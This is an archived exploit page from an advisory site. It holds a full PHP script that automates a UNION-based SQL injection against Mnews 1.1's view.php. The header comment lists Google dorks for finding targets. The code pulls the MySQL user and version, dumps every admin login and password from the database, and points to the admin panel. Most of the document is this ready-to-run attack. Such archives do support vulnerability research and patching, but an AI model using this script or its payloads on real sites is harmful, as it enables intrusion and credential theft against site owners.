what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mnews 1.1 SQL injection

Mnews 1.1 SQL injection
Posted Jun 4, 2012
Authored by WhiteCollarGroup

Mnews versions 1.1 and below suffer from a remote SQL injection vulnerability in view.php.

tags | exploit, remote, php, sql injection
SHA-256 | f37e996cf5f9e2018f48d8178c7806bc499bea1a350d778f745b349dbd6e126e

Mnews 1.1 SQL injection

Change Mirror Download
<?php
/*
# Exploit Title: Mnews <= 1.1 SQL Injection
# Google Dork: inurl:mnews/view.php
# Google Dork: intitle:"Mnews sistena de news"
# Date: 03rd 06 2012
# Software Link: http://phpbrasil.com/script/eo4aWVV_zFd/mnews-sistema-de-noticias
# Version: 1.1
# Tested on: Debian GNU/Linux,Windows 7 Ultimate

Example:
$ php mnews.php http://target.com/scripts/mnews/

*/

error_reporting(E_ERROR);
set_time_limit(0);
@ini_set("default_socket_timeout", 30);

function hex($string){
$hex=''; // PHP 'Dim' =]
for ($i=0; $i < strlen($string); $i++){
$hex .= dechex(ord($string[$i]));
}
return '0x'.$hex;
}


echo "\nMnews <= 1.1 SQL Injection exploit\n";
echo "Discovered and written by WhiteCollarGroup\n";
echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n";

if($argc!=2) {
echo "Usage: \n";
echo "php $argv[0] <target url>\n";
echo "Example:\n";
echo "php $argv[0] http://www.website.com/mnews\n";
exit;
}

$target = $argv[1];
if(substr($target, (strlen($target)-1))!="/") {
$target .= "/";
}
$inject = $target . "view.php?id=-0'%20";

$token = uniqid();
$token_hex = hex($token);

echo "[*] Trying to get informations...\n";
$infos = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", user(), ".$token_hex.", version(), ".$token_hex."),3,4,5-- "));
$infos_r = array();
preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if($user) {
echo "[*] MySQL version: $version\n";
echo "[*] MySQL user: $user\n";
} else {
echo "[-] Error while getting informations.\n";
}

echo "[*] Getting users...\n";
$i = 0;
while(true) {
$dados_r = array();
$dados = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", login, ".$token_hex.", senha, ".$token_hex."),3,4,5 from admin limit $i,1-- "));
preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
$login = $dados_r[1][0];
$senha = $dados_r[2][0];
if(($login) AND ($senha)) {
echo "-+-\n";
echo "User: $login\n";
echo "Pass: $senha\n";
} else {
break;
}
$i++;
}

echo "-+-+-\n";
if($i!=0) {
echo "[!] Admin login: {$target}gerencia/\n";
} else {
echo "[-] Exploit failed. Make sure that's server is using a valid version of Mnews without Apache mod_security.\nWe're sorry.";
}
echo "\n";

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close